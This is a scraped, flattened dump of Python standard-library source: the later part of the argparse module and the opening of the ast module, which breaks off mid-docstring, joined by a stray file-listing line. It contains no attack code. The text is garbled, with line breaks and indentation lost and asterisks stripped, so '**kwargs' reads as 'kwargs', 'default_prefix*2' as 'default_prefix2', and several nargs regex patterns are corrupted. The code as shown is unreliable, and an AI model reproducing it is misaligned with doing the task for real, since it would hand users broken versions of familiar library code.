in container._mutually_exclusive_groups: mutex_group = self.add_mutually_exclusive_group( required=group.required) # map the actions to their new mutex group for action in group._group_actions: group_map[action] = mutex_group # add all actions to this container or their group for action in container._actions: group_map.get(action, self)._add_action(action) def _get_positional_kwargs(self, dest, kwargs): # make sure required is not specified if 'required' in kwargs: msg = _("'required' is an invalid argument for positionals") raise TypeError(msg) # mark positional arguments as required if at least one is # always required if kwargs.get('nargs') not in [OPTIONAL, ZERO_OR_MORE]: kwargs['required'] = True if kwargs.get('nargs') == ZERO_OR_MORE and 'default' not in kwargs: kwargs['required'] = True # return the keyword arguments with no option strings return dict(kwargs, dest=dest, option_strings=[]) def _get_optional_kwargs(self, args, kwargs): # determine short and long option strings option_strings = [] long_option_strings = [] for option_string in args: # error on strings that don't start with an appropriate prefix if not option_string[0] in self.prefix_chars: args = {'option': option_string, 'prefix_chars': self.prefix_chars} msg = _('invalid option string %(option)r: ' 'must start with a character %(prefix_chars)r') raise ValueError(msg % args) # strings starting with two prefix characters are long options option_strings.append(option_string) if option_string[0] in self.prefix_chars: if len(option_string) > 1: if option_string[1] in self.prefix_chars: long_option_strings.append(option_string) # infer destination, '--foo-bar' -> 'foo_bar' and '-x' -> 'x' dest = kwargs.pop('dest', None) if dest is None: if long_option_strings: dest_option_string = long_option_strings[0] else: dest_option_string = option_strings[0] dest = dest_option_string.lstrip(self.prefix_chars) if not dest: msg = _('dest= is required for options like %r') raise ValueError(msg % option_string) dest = dest.replace('-', '_') # return the updated keyword arguments return dict(kwargs, dest=dest, option_strings=option_strings) def _pop_action_class(self, kwargs, default=None): action = kwargs.pop('action', default) return self._registry_get('action', action, action) def _get_handler(self): # determine function from conflict handler string handler_func_name = '_handle_conflict_%s' % self.conflict_handler try: return getattr(self, handler_func_name) except AttributeError: msg = _('invalid conflict_resolution value: %r') raise ValueError(msg % self.conflict_handler) def _check_conflict(self, action): # find all options that conflict with this option confl_optionals = [] for option_string in action.option_strings: if option_string in self._option_string_actions: confl_optional = self._option_string_actions[option_string] confl_optionals.append((option_string, confl_optional)) # resolve any conflicts if confl_optionals: conflict_handler = self._get_handler() conflict_handler(action, confl_optionals) def _handle_conflict_error(self, action, conflicting_actions): message = ngettext('conflicting option string: %s', 'conflicting option strings: %s', len(conflicting_actions)) conflict_string = ', '.join([option_string for option_string, action in conflicting_actions]) raise ArgumentError(action, message % conflict_string) def _handle_conflict_resolve(self, action, conflicting_actions): # remove all conflicting options for option_string, action in conflicting_actions: # remove the conflicting option action.option_strings.remove(option_string) self._option_string_actions.pop(option_string, None) # if the option now has no option string, remove it from the # container holding it if not action.option_strings: action.container._remove_action(action) class _ArgumentGroup(_ActionsContainer): def __init__(self, container, title=None, description=None, kwargs): # add any missing keyword arguments by checking the container update = kwargs.setdefault update('conflict_handler', container.conflict_handler) update('prefix_chars', container.prefix_chars) update('argument_default', container.argument_default) super_init = super(_ArgumentGroup, self).__init__ super_init(description=description, kwargs) # group attributes self.title = title self._group_actions = [] # share most attributes with the container self._registries = container._registries self._actions = container._actions self._option_string_actions = container._option_string_actions self._defaults = container._defaults self._has_negative_number_optionals = \ container._has_negative_number_optionals self._mutually_exclusive_groups = container._mutually_exclusive_groups def _add_action(self, action): action = super(_ArgumentGroup, self)._add_action(action) self._group_actions.append(action) return action def _remove_action(self, action): super(_ArgumentGroup, self)._remove_action(action) self._group_actions.remove(action) class _MutuallyExclusiveGroup(_ArgumentGroup): def __init__(self, container, required=False): super(_MutuallyExclusiveGroup, self).__init__(container) self.required = required self._container = container def _add_action(self, action): if action.required: msg = _('mutually exclusive arguments must be optional') raise ValueError(msg) action = self._container._add_action(action) self._group_actions.append(action) return action def _remove_action(self, action): self._container._remove_action(action) self._group_actions.remove(action) class ArgumentParser(_AttributeHolder, _ActionsContainer): """Object for parsing command line strings into Python objects. Keyword Arguments: - prog -- The name of the program (default: sys.argv[0]) - usage -- A usage message (default: auto-generated from arguments) - description -- A description of what the program does - epilog -- Text following the argument descriptions - parents -- Parsers whose arguments should be copied into this one - formatter_class -- HelpFormatter class for printing help messages - prefix_chars -- Characters that prefix optional arguments - fromfile_prefix_chars -- Characters that prefix files containing additional arguments - argument_default -- The default value for all arguments - conflict_handler -- String indicating how to handle conflicts - add_help -- Add a -h/-help option - allow_abbrev -- Allow long options to be abbreviated unambiguously """ def __init__(self, prog=None, usage=None, description=None, epilog=None, parents=[], formatter_class=HelpFormatter, prefix_chars='-', fromfile_prefix_chars=None, argument_default=None, conflict_handler='error', add_help=True, allow_abbrev=True): superinit = super(ArgumentParser, self).__init__ superinit(description=description, prefix_chars=prefix_chars, argument_default=argument_default, conflict_handler=conflict_handler) # default setting for prog if prog is None: prog = _os.path.basename(_sys.argv[0]) self.prog = prog self.usage = usage self.epilog = epilog self.formatter_class = formatter_class self.fromfile_prefix_chars = fromfile_prefix_chars self.add_help = add_help self.allow_abbrev = allow_abbrev add_group = self.add_argument_group self._positionals = add_group(_('positional arguments')) self._optionals = add_group(_('optional arguments')) self._subparsers = None # register types def identity(string): return string self.register('type', None, identity) # add help argument if necessary # (using explicit default to override global argument_default) default_prefix = '-' if '-' in prefix_chars else prefix_chars[0] if self.add_help: self.add_argument( default_prefix+'h', default_prefix2+'help', action='help', default=SUPPRESS, help=_('show this help message and exit')) # add parent arguments and defaults for parent in parents: self._add_container_actions(parent) try: defaults = parent._defaults except AttributeError: pass else: self._defaults.update(defaults) # ======================= # Pretty __repr__ methods # ======================= def _get_kwargs(self): names = [ 'prog', 'usage', 'description', 'formatter_class', 'conflict_handler', 'add_help', ] return [(name, getattr(self, name)) for name in names] # ================================== # Optional/Positional adding methods # ================================== def add_subparsers(self, kwargs): if self._subparsers is not None: self.error(_('cannot have multiple subparser arguments')) # add the parser class to the arguments if it's not present kwargs.setdefault('parser_class', type(self)) if 'title' in kwargs or 'description' in kwargs: title = _(kwargs.pop('title', 'subcommands')) description = _(kwargs.pop('description', None)) self._subparsers = self.add_argument_group(title, description) else: self._subparsers = self._positionals # prog defaults to the usage message of this parser, skipping # optional arguments and with no "usage:" prefix if kwargs.get('prog') is None: formatter = self._get_formatter() positionals = self._get_positional_actions() groups = self._mutually_exclusive_groups formatter.add_usage(self.usage, positionals, groups, '') kwargs['prog'] = formatter.format_help().strip() # create the parsers action and add it to the positionals list parsers_class = self._pop_action_class(kwargs, 'parsers') action = parsers_class(option_strings=[], kwargs) self._subparsers._add_action(action) # return the created parsers action return action def _add_action(self, action): if action.option_strings: self._optionals._add_action(action) else: self._positionals._add_action(action) return action def _get_optional_actions(self): return [action for action in self._actions if action.option_strings] def _get_positional_actions(self): return [action for action in self._actions if not action.option_strings] # ===================================== # Command line argument parsing methods # ===================================== def parse_args(self, args=None, namespace=None): args, argv = self.parse_known_args(args, namespace) if argv: msg = _('unrecognized arguments: %s') self.error(msg % ' '.join(argv)) return args def parse_known_args(self, args=None, namespace=None): if args is None: # args default to the system args args = _sys.argv[1:] else: # make sure that args are mutable args = list(args) # default Namespace built from parser defaults if namespace is None: namespace = Namespace() # add any action defaults that aren't present for action in self._actions: if action.dest is not SUPPRESS: if not hasattr(namespace, action.dest): if action.default is not SUPPRESS: setattr(namespace, action.dest, action.default) # add any parser defaults that aren't present for dest in self._defaults: if not hasattr(namespace, dest): setattr(namespace, dest, self._defaults[dest]) # parse the arguments and exit if there are any errors try: namespace, args = self._parse_known_args(args, namespace) if hasattr(namespace, _UNRECOGNIZED_ARGS_ATTR): args.extend(getattr(namespace, _UNRECOGNIZED_ARGS_ATTR)) delattr(namespace, _UNRECOGNIZED_ARGS_ATTR) return namespace, args except ArgumentError: err = _sys.exc_info()[1] self.error(str(err)) def _parse_known_args(self, arg_strings, namespace): # replace arg strings that are file references if self.fromfile_prefix_chars is not None: arg_strings = self._read_args_from_files(arg_strings) # map all mutually exclusive arguments to the other arguments # they can't occur with action_conflicts = {} for mutex_group in self._mutually_exclusive_groups: group_actions = mutex_group._group_actions for i, mutex_action in enumerate(mutex_group._group_actions): conflicts = action_conflicts.setdefault(mutex_action, []) conflicts.extend(group_actions[:i]) conflicts.extend(group_actions[i + 1:]) # find all option indices, and determine the arg_string_pattern # which has an 'O' if there is an option at an index, # an 'A' if there is an argument, or a '-' if there is a '--' option_string_indices = {} arg_string_pattern_parts = [] arg_strings_iter = iter(arg_strings) for i, arg_string in enumerate(arg_strings_iter): # all args after -- are non-options if arg_string == '--': arg_string_pattern_parts.append('-') for arg_string in arg_strings_iter: arg_string_pattern_parts.append('A') # otherwise, add the arg to the arg strings # and note the index if it was an option else: option_tuple = self._parse_optional(arg_string) if option_tuple is None: pattern = 'A' else: option_string_indices[i] = option_tuple pattern = 'O' arg_string_pattern_parts.append(pattern) # join the pieces together to form the pattern arg_strings_pattern = ''.join(arg_string_pattern_parts) # converts arg strings to the appropriate and then takes the action seen_actions = set() seen_non_default_actions = set() def take_action(action, argument_strings, option_string=None): seen_actions.add(action) argument_values = self._get_values(action, argument_strings) # error if this argument is not allowed with other previously # seen arguments, assuming that actions that use the default # value don't really count as "present" if argument_values is not action.default: seen_non_default_actions.add(action) for conflict_action in action_conflicts.get(action, []): if conflict_action in seen_non_default_actions: msg = _('not allowed with argument %s') action_name = _get_action_name(conflict_action) raise ArgumentError(action, msg % action_name) # take the action if we didn't receive a SUPPRESS value # (e.g. from a default) if argument_values is not SUPPRESS: action(self, namespace, argument_values, option_string) # function to convert arg_strings into an optional action def consume_optional(start_index): # get the optional identified at this index option_tuple = option_string_indices[start_index] action, option_string, explicit_arg = option_tuple # identify additional optionals in the same arg string # (e.g. -xyz is the same as -x -y -z if no args are required) match_argument = self._match_argument action_tuples = [] while True: # if we found no optional action, skip it if action is None: extras.append(arg_strings[start_index]) return start_index + 1 # if there is an explicit argument, try to match the # optional's string arguments to only this if explicit_arg is not None: arg_count = match_argument(action, 'A') # if the action is a single-dash option and takes no # arguments, try to parse more single-dash options out # of the tail of the option string chars = self.prefix_chars if arg_count == 0 and option_string[1] not in chars: action_tuples.append((action, [], option_string)) char = option_string[0] option_string = char + explicit_arg[0] new_explicit_arg = explicit_arg[1:] or None optionals_map = self._option_string_actions if option_string in optionals_map: action = optionals_map[option_string] explicit_arg = new_explicit_arg else: msg = _('ignored explicit argument %r') raise ArgumentError(action, msg % explicit_arg) # if the action expect exactly one argument, we've # successfully matched the option; exit the loop elif arg_count == 1: stop = start_index + 1 args = [explicit_arg] action_tuples.append((action, args, option_string)) break # error if a double-dash option did not use the # explicit argument else: msg = _('ignored explicit argument %r') raise ArgumentError(action, msg % explicit_arg) # if there is no explicit argument, try to match the # optional's string arguments with the following strings # if successful, exit the loop else: start = start_index + 1 selected_patterns = arg_strings_pattern[start:] arg_count = match_argument(action, selected_patterns) stop = start + arg_count args = arg_strings[start:stop] action_tuples.append((action, args, option_string)) break # add the Optional to the list and return the index at which # the Optional's string args stopped assert action_tuples for action, args, option_string in action_tuples: take_action(action, args, option_string) return stop # the list of Positionals left to be parsed; this is modified # by consume_positionals() positionals = self._get_positional_actions() # function to convert arg_strings into positional actions def consume_positionals(start_index): # match as many Positionals as possible match_partial = self._match_arguments_partial selected_pattern = arg_strings_pattern[start_index:] arg_counts = match_partial(positionals, selected_pattern) # slice off the appropriate arg strings for each Positional # and add the Positional and its args to the list for action, arg_count in zip(positionals, arg_counts): args = arg_strings[start_index: start_index + arg_count] start_index += arg_count take_action(action, args) # slice off the Positionals that we just parsed and return the # index at which the Positionals' string args stopped positionals[:] = positionals[len(arg_counts):] return start_index # consume Positionals and Optionals alternately, until we have # passed the last option string extras = [] start_index = 0 if option_string_indices: max_option_string_index = max(option_string_indices) else: max_option_string_index = -1 while start_index <= max_option_string_index: # consume any Positionals preceding the next option next_option_string_index = min([ index for index in option_string_indices if index >= start_index]) if start_index != next_option_string_index: positionals_end_index = consume_positionals(start_index) # only try to parse the next optional if we didn't consume # the option string during the positionals parsing if positionals_end_index > start_index: start_index = positionals_end_index continue else: start_index = positionals_end_index # if we consumed all the positionals we could and we're not # at the index of an option string, there were extra arguments if start_index not in option_string_indices: strings = arg_strings[start_index:next_option_string_index] extras.extend(strings) start_index = next_option_string_index # consume the next optional and any arguments for it start_index = consume_optional(start_index) # consume any positionals following the last Optional stop_index = consume_positionals(start_index) # if we didn't consume all the argument strings, there were extras extras.extend(arg_strings[stop_index:]) # make sure all required actions were present and also convert # action defaults which were not given as arguments required_actions = [] for action in self._actions: if action not in seen_actions: if action.required: required_actions.append(_get_action_name(action)) else: # Convert action default now instead of doing it before # parsing arguments to avoid calling convert functions # twice (which may fail) if the argument was given, but # only if it was defined already in the namespace if (action.default is not None and isinstance(action.default, str) and hasattr(namespace, action.dest) and action.default is getattr(namespace, action.dest)): setattr(namespace, action.dest, self._get_value(action, action.default)) if required_actions: self.error(_('the following arguments are required: %s') % ', '.join(required_actions)) # make sure all required groups had one option present for group in self._mutually_exclusive_groups: if group.required: for action in group._group_actions: if action in seen_non_default_actions: break # if no actions were used, report the error else: names = [_get_action_name(action) for action in group._group_actions if action.help is not SUPPRESS] msg = _('one of the arguments %s is required') self.error(msg % ' '.join(names)) # return the updated namespace and the extra arguments return namespace, extras def _read_args_from_files(self, arg_strings): # expand arguments referencing files new_arg_strings = [] for arg_string in arg_strings: # for regular arguments, just add them back into the list if not arg_string or arg_string[0] not in self.fromfile_prefix_chars: new_arg_strings.append(arg_string) # replace arguments referencing files with the file content else: try: with open(arg_string[1:]) as args_file: arg_strings = [] for arg_line in args_file.read().splitlines(): for arg in self.convert_arg_line_to_args(arg_line): arg_strings.append(arg) arg_strings = self._read_args_from_files(arg_strings) new_arg_strings.extend(arg_strings) except OSError: err = _sys.exc_info()[1] self.error(str(err)) # return the modified argument list return new_arg_strings def convert_arg_line_to_args(self, arg_line): return [arg_line] def _match_argument(self, action, arg_strings_pattern): # match the pattern for this action to the arg strings nargs_pattern = self._get_nargs_pattern(action) match = _re.match(nargs_pattern, arg_strings_pattern) # raise an exception if we weren't able to find a match if match is None: nargs_errors = { None: _('expected one argument'), OPTIONAL: _('expected at most one argument'), ONE_OR_MORE: _('expected at least one argument'), } msg = nargs_errors.get(action.nargs) if msg is None: msg = ngettext('expected %s argument', 'expected %s arguments', action.nargs) % action.nargs raise ArgumentError(action, msg) # return the number of arguments matched return len(match.group(1)) def _match_arguments_partial(self, actions, arg_strings_pattern): # progressively shorten the actions list by slicing off the # final actions until we find a match result = [] for i in range(len(actions), 0, -1): actions_slice = actions[:i] pattern = ''.join([self._get_nargs_pattern(action) for action in actions_slice]) match = _re.match(pattern, arg_strings_pattern) if match is not None: result.extend([len(string) for string in match.groups()]) break # return the list of arg string counts return result def _parse_optional(self, arg_string): # if it's an empty string, it was meant to be a positional if not arg_string: return None # if it doesn't start with a prefix, it was meant to be positional if not arg_string[0] in self.prefix_chars: return None # if the option string is present in the parser, return the action if arg_string in self._option_string_actions: action = self._option_string_actions[arg_string] return action, arg_string, None # if it's just a single character, it was meant to be positional if len(arg_string) == 1: return None # if the option string before the "=" is present, return the action if '=' in arg_string: option_string, explicit_arg = arg_string.split('=', 1) if option_string in self._option_string_actions: action = self._option_string_actions[option_string] return action, option_string, explicit_arg if self.allow_abbrev: # search through all possible prefixes of the option string # and all actions in the parser for possible interpretations option_tuples = self._get_option_tuples(arg_string) # if multiple actions match, the option string was ambiguous if len(option_tuples) > 1: options = ', '.join([option_string for action, option_string, explicit_arg in option_tuples]) args = {'option': arg_string, 'matches': options} msg = _('ambiguous option: %(option)s could match %(matches)s') self.error(msg % args) # if exactly one action matched, this segmentation is good, # so return the parsed action elif len(option_tuples) == 1: option_tuple, = option_tuples return option_tuple # if it was not found as an option, but it looks like a negative # number, it was meant to be positional # unless there are negative-number-like options if self._negative_number_matcher.match(arg_string): if not self._has_negative_number_optionals: return None # if it contains a space, it was meant to be a positional if ' ' in arg_string: return None # it was meant to be an optional but there is no such option # in this parser (though it might be a valid option in a subparser) return None, arg_string, None def _get_option_tuples(self, option_string): result = [] # option strings starting with two prefix characters are only # split at the '=' chars = self.prefix_chars if option_string[0] in chars and option_string[1] in chars: if '=' in option_string: option_prefix, explicit_arg = option_string.split('=', 1) else: option_prefix = option_string explicit_arg = None for option_string in self._option_string_actions: if option_string.startswith(option_prefix): action = self._option_string_actions[option_string] tup = action, option_string, explicit_arg result.append(tup) # single character options can be concatenated with their arguments # but multiple character options always have to have their argument # separate elif option_string[0] in chars and option_string[1] not in chars: option_prefix = option_string explicit_arg = None short_option_prefix = option_string[:2] short_explicit_arg = option_string[2:] for option_string in self._option_string_actions: if option_string == short_option_prefix: action = self._option_string_actions[option_string] tup = action, option_string, short_explicit_arg result.append(tup) elif option_string.startswith(option_prefix): action = self._option_string_actions[option_string] tup = action, option_string, explicit_arg result.append(tup) # shouldn't ever get here else: self.error(_('unexpected option string: %s') % option_string) # return the collected option tuples return result def _get_nargs_pattern(self, action): # in all examples below, we have to allow for '--' args # which are represented as '-' in the pattern nargs = action.nargs # the default (None) is assumed to be a single argument if nargs is None: nargs_pattern = '(-A-)' # allow zero or one arguments elif nargs == OPTIONAL: nargs_pattern = '(-A?-)' # allow zero or more arguments elif nargs == ZERO_OR_MORE: nargs_pattern = '(-[A-])' # allow one or more arguments elif nargs == ONE_OR_MORE: nargs_pattern = '(-A[A-])' # allow any number of options or arguments elif nargs == REMAINDER: nargs_pattern = '([-AO])' # allow one argument followed by any number of options or arguments elif nargs == PARSER: nargs_pattern = '(-A[-AO])' # suppress action, like nargs=0 elif nargs == SUPPRESS: nargs_pattern = '(--)' # all others should be integers else: nargs_pattern = '(-%s-)' % '-'.join('A' * nargs) # if this is an optional action, -- is not allowed if action.option_strings: nargs_pattern = nargs_pattern.replace('-', '') nargs_pattern = nargs_pattern.replace('-', '') # return the pattern return nargs_pattern # ======================== # Alt command line argument parsing, allowing free intermix # ======================== def parse_intermixed_args(self, args=None, namespace=None): args, argv = self.parse_known_intermixed_args(args, namespace) if argv: msg = _('unrecognized arguments: %s') self.error(msg % ' '.join(argv)) return args def parse_known_intermixed_args(self, args=None, namespace=None): # returns a namespace and list of extras # # positional can be freely intermixed with optionals. optionals are # first parsed with all positional arguments deactivated. The 'extras' # are then parsed. If the parser definition is incompatible with the # intermixed assumptions (e.g. use of REMAINDER, subparsers) a # TypeError is raised. # # positionals are 'deactivated' by setting nargs and default to # SUPPRESS. This blocks the addition of that positional to the # namespace positionals = self._get_positional_actions() a = [action for action in positionals if action.nargs in [PARSER, REMAINDER]] if a: raise TypeError('parse_intermixed_args: positional arg' ' with nargs=%s'%a[0].nargs) if [action.dest for group in self._mutually_exclusive_groups for action in group._group_actions if action in positionals]: raise TypeError('parse_intermixed_args: positional in' ' mutuallyExclusiveGroup') try: save_usage = self.usage try: if self.usage is None: # capture the full usage for use in error messages self.usage = self.format_usage()[7:] for action in positionals: # deactivate positionals action.save_nargs = action.nargs # action.nargs = 0 action.nargs = SUPPRESS action.save_default = action.default action.default = SUPPRESS namespace, remaining_args = self.parse_known_args(args, namespace) for action in positionals: # remove the empty positional values from namespace if (hasattr(namespace, action.dest) and getattr(namespace, action.dest)==[]): from warnings import warn warn('Do not expect %s in %s' % (action.dest, namespace)) delattr(namespace, action.dest) finally: # restore nargs and usage before exiting for action in positionals: action.nargs = action.save_nargs action.default = action.save_default optionals = self._get_optional_actions() try: # parse positionals. optionals aren't normally required, but # they could be, so make sure they aren't. for action in optionals: action.save_required = action.required action.required = False for group in self._mutually_exclusive_groups: group.save_required = group.required group.required = False namespace, extras = self.parse_known_args(remaining_args, namespace) finally: # restore parser values before exiting for action in optionals: action.required = action.save_required for group in self._mutually_exclusive_groups: group.required = group.save_required finally: self.usage = save_usage return namespace, extras # ======================== # Value conversion methods # ======================== def _get_values(self, action, arg_strings): # for everything but PARSER, REMAINDER args, strip out first '--' if action.nargs not in [PARSER, REMAINDER]: try: arg_strings.remove('--') except ValueError: pass # optional argument produces a default when not present if not arg_strings and action.nargs == OPTIONAL: if action.option_strings: value = action.const else: value = action.default if isinstance(value, str): value = self._get_value(action, value) self._check_value(action, value) # when nargs='' on a positional, if there were no command-line # args, use the default if it is anything other than None elif (not arg_strings and action.nargs == ZERO_OR_MORE and not action.option_strings): if action.default is not None: value = action.default else: value = arg_strings self._check_value(action, value) # single argument or optional argument produces a single value elif len(arg_strings) == 1 and action.nargs in [None, OPTIONAL]: arg_string, = arg_strings value = self._get_value(action, arg_string) self._check_value(action, value) # REMAINDER arguments convert all values, checking none elif action.nargs == REMAINDER: value = [self._get_value(action, v) for v in arg_strings] # PARSER arguments convert all values, but check only the first elif action.nargs == PARSER: value = [self._get_value(action, v) for v in arg_strings] self._check_value(action, value[0]) # SUPPRESS argument does not put anything in the namespace elif action.nargs == SUPPRESS: value = SUPPRESS # all other types of nargs produce a list else: value = [self._get_value(action, v) for v in arg_strings] for v in value: self._check_value(action, v) # return the converted value return value def _get_value(self, action, arg_string): type_func = self._registry_get('type', action.type, action.type) if not callable(type_func): msg = _('%r is not callable') raise ArgumentError(action, msg % type_func) # convert the value to the appropriate type try: result = type_func(arg_string) # ArgumentTypeErrors indicate errors except ArgumentTypeError: name = getattr(action.type, '__name__', repr(action.type)) msg = str(_sys.exc_info()[1]) raise ArgumentError(action, msg) # TypeErrors or ValueErrors also indicate errors except (TypeError, ValueError): name = getattr(action.type, '__name__', repr(action.type)) args = {'type': name, 'value': arg_string} msg = _('invalid %(type)s value: %(value)r') raise ArgumentError(action, msg % args) # return the converted value return result def _check_value(self, action, value): # converted value must be one of the choices (if specified) if action.choices is not None and value not in action.choices: args = {'value': value, 'choices': ', '.join(map(repr, action.choices))} msg = _('invalid choice: %(value)r (choose from %(choices)s)') raise ArgumentError(action, msg % args) # ======================= # Help-formatting methods # ======================= def format_usage(self): formatter = self._get_formatter() formatter.add_usage(self.usage, self._actions, self._mutually_exclusive_groups) return formatter.format_help() def format_help(self): formatter = self._get_formatter() # usage formatter.add_usage(self.usage, self._actions, self._mutually_exclusive_groups) # description formatter.add_text(self.description) # positionals, optionals and user-defined groups for action_group in self._action_groups: formatter.start_section(action_group.title) formatter.add_text(action_group.description) formatter.add_arguments(action_group._group_actions) formatter.end_section() # epilog formatter.add_text(self.epilog) # determine help from format above return formatter.format_help() def _get_formatter(self): return self.formatter_class(prog=self.prog) # ===================== # Help-printing methods # ===================== def print_usage(self, file=None): if file is None: file = _sys.stdout self._print_message(self.format_usage(), file) def print_help(self, file=None): if file is None: file = _sys.stdout self._print_message(self.format_help(), file) def _print_message(self, message, file=None): if message: if file is None: file = _sys.stderr file.write(message) # =============== # Exiting methods # =============== def exit(self, status=0, message=None): if message: self._print_message(message, _sys.stderr) _sys.exit(status) def error(self, message): """error(message: string) Prints a usage message incorporating the message to stderr and exits. If you override this in a subclass, it should not return -- it should either exit or raise an exception. """ self.print_usage(_sys.stderr) args = {'prog': self.prog, 'message': message} self.exit(2, _('%(prog)s: error: %(message)s\n') % args)	93.14 KB	2024-04-17 17:55
📄 ast.py """ ast ~~~ The `ast` module helps Python applications to process trees of the Python abstract syntax grammar. The abstract syntax itself might change with each Python release; this module helps to find out programmatically what the current grammar looks like and allows modifications of it. An abstract syntax tree can be generated by passing `ast.PyCF_ONLY_AST` as a flag to the `compile()` builtin function or by using the `parse()` function from this module. The result will be a tree of objects whose classes all inherit from `ast.AST`. A modified abstract syntax tree can be compiled into a Python code object using the built-in `compile()` function. Additionally various helper functions are provided that make working with the trees simpler. The main intention of the helper functions and this module in general is to provide an easy to use interface for libraries that work tightly with the python syntax (template engines for example). :copyright: Copyright 2008 by Armin Ronacher. :license: Python License. """ from _ast import * def parse(source, filename='<unknown>', mode='exec'): """ Parse the source into an AST node. Equivalent to compile(source, filename, mode, PyCF_ONLY_AST). """ return compile(source, filename, mode, PyCF_ONLY_AST) def literal_eval(node_or_string): """ Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, bytes, numbers, tuples, lists, dicts, sets, booleans, and None. """ if isinstance(node_or_string, str): node_or_string = parse(node_or_string, mode='eval') if isinstance(node_or_string, Expression): node_or_string = node_or_string.body def _convert_num(node): if isinstance(node, Constant): if isinstance(node.value, (int, float, complex)): return node.value elif isinstance(node, Num): return node.n raise ValueError('malformed node or string: ' + repr(node)) def _convert_signed_num(node): if isinstance(node, UnaryOp) and isinstance(node.op, (UAdd, USub)): operand = _convert_num(node.operand) if isinstance(node.op, UAdd): return + operand else: return - operand return _convert_num(node) def _convert(node): if isinstance(node, Constant): return node.value elif isinstance(node, (Str, Bytes)): return node.s elif isinstance(node, Num): return node.n elif isinstance(node, Tuple): return tuple(map(_convert, node.elts)) elif isinstance(node, List): return list(map(_convert, node.elts)) elif isinstance(node, Set): return set(map(_convert, node.elts)) elif isinstance(node, Dict): return dict(zip(map(_convert, node.keys), map(_convert, node.values))) elif isinstance(node, NameConstant): return node.value elif isinstance(node, BinOp) and isinstance(node.op, (Add, Sub)): left = _convert_signed_num(node.left) right = _convert_num(node.right) if isinstance(left, (int, float)) and isinstance(right, complex): if isinstance(node.op, Add): return left + right else: return left - right return _convert_signed_num(node) return _convert(node_or_string) def dump(node, annotate_fields=True, include_attributes=False): """ Return a formatted dump of the tree in node. This is mainly useful for debugging purposes. If annotate_fields is true (by default), the returned string will show the names and the values for fields. If annotate_fields is false, the result string will be more compact by omitting unambiguous field names. Attributes such as line numbers and column offsets are not dumped by default. If this is wanted, include_attributes can be set to true. """ def _format(node): if isinstance(node, AST): args = [] keywords = annotate_fields for field in node._fields: try: value = getattr(node, field) except AttributeError: keywords = True else: if keywords: args.append('%s=%s' % (field, _format(value))) else: args.append(_format(value)) if include_attributes and node._attributes: for a in node._attributes: try: args.append('%s=%s' % (a, _format(getattr(node, a)))) except AttributeError: pass return '%s(%s)' % (node.__class__.__name__, ', '.join(args)) elif isinstance(node, list): return '[%s]' % ', '.join(_format(x) for x in node) return repr(node) if not isinstance(node, AST): raise TypeError('expected AST, got %r' % node.__class__.__name__) return _format(node) def copy_location(new_node, old_node): """ Copy source location (`lineno` and `col_offset` attributes) from old_node to new_node if possible, and return new_node. """ for attr in 'lineno', 'col_offset': if attr in old_node._attributes and attr in new_node._attributes \ and hasattr(old_node, attr): setattr(new_node, attr, getattr(old_node, attr)) return new_node def fix_missing_locations(node): """ When you compile a node tree with compile(), the compiler expects lineno and col_offset attributes for every node that supports them. This is rather tedious to fill in for generated nodes, so this helper adds these attributes recursively where not already set, by setting them to the values of the parent node. It works recursively starting at node. """ def _fix(node, lineno, col_offset): if 'lineno' in node._attributes: if not hasattr(node, 'lineno'): node.lineno = lineno else: lineno = node.lineno if 'col_offset' in node._attributes: if not hasattr(node, 'col_offset'): node.col_offset = col_offset else: col_offset = node.col_offset for child in iter_child_nodes(node): _fix(child, lineno, col_offset) _fix(node, 1, 0) return node def increment_lineno(node, n=1): """ Increment the line number of each node in the tree starting at node by n. This is useful to "move code" to a different location in a file. """ for child in walk(node): if 'lineno' in child._attributes: child.lineno = getattr(child, 'lineno', 0) + n return node def iter_fields(node): """ Yield a tuple of ``(fieldname, value)`` for each field in ``node._fields`` that is present on node. """ for field in node._fields: try: yield field, getattr(node, field) except AttributeError: pass def iter_child_nodes(node): """ Yield all direct child nodes of node, that is, all fields that are nodes and all items of fields that are lists of nodes. """ for name, field in iter_fields(node): if isinstance(field, AST): yield field elif isinstance(field, list): for item in field: if isinstance(item, AST): yield item def get_docstring(node, clean=True): """ Return the docstring for the given node or None if no docstring can be found. If the node provided does not have docstrings a TypeError will be raised. If clean is `True`, all tabs are expanded to spaces and any whitespace that can be uniformly removed from the second line onwards is removed. """ if not isinstance(node, (AsyncFunctionDef, FunctionDef, ClassDef, Module)): raise TypeError("%r can't have docstrings" % node.__class__.__name__) if not(node.body and isinstance(node.body[0], Expr)): return None node = node.body[0].value if isinstance(node, Str): text = node.s elif isinstance(node, Constant) and isinstance(node.value, str): text = node.value else: return None if clean: import inspect text = inspect.cleandoc(text) return text def walk(node): """ Recursively yield all descendant nodes in the tree starting at node (including node itself), in no specified order. This is useful if you only want to modify nodes in place and don't care about the context. """ from collections import deque todo = deque([node]) while todo: node = todo.popleft() todo.extend(iter_child_nodes(node)) yield node class NodeVisitor(object): """ A node visitor base class that walks the abstract syntax tree and calls a visitor function for every node found. This function may return a value which is forwarded by the `visit` method. This class is meant to be subclassed, with the subclass adding visitor methods. Per default the visitor functions for the nodes are ``'visit_'`` + class name of the node. So a `TryFinally` node visit function would be `visit_TryFinally`. This behavior can be changed by overriding the `visit` method. If no visitor function exists for a node (return value `None`) the `generic_visit` visitor is used instead. Don't use the `NodeVisitor` if you want to apply changes to nodes during traversing. For this a special visitor exists (`NodeTransformer`) that allows modifications. """ def visit(self, node): """Visit a node.""" method = 'visit_' + node.__class__.__name__ visitor = getattr(self, method, self.generic_visit) return visitor(node) def generic_visit(self, node): """Called if no explicit visitor function exists for a node.""" for field, value in iter_fields(node): if isinstance(value, list): for item in value: if isinstance(item, AST): self.visit(item) elif isinstance(value, AST): self.visit(value) class NodeTransformer(NodeVisitor): """ A :class:`NodeVisitor` subclass that walks the abstract syntax tree and allows modification of nodes. The `NodeTransformer` will walk the AST and use the return value of the visitor methods to replace or remove the old node. If the return value of the visitor method is ``None``, the node will be removed from its location, otherwise it is replaced with the return value. The return value may be the original node in which case no replacement takes place. Here is an example transformer that rewrites all occurrences of name lookups (``foo``) to ``data['foo']``:: class RewriteName(NodeTransformer): def visit_Name(self, node): return Subscript( value=Name(id='data', ctx=Load()), slice=Index(value=Str(s=node.id)), ctx=node.ctx ) Keep in mind that if the node you're operating on has child nodes you must either transform the child nodes yourself or call the :meth:`generic_visit` method for the node first. For nodes that were part of a collection of statements (that applies to all statement nodes), the visitor may also return a list of nodes rather than just a single node. Usually you use the transformer like this:: node = 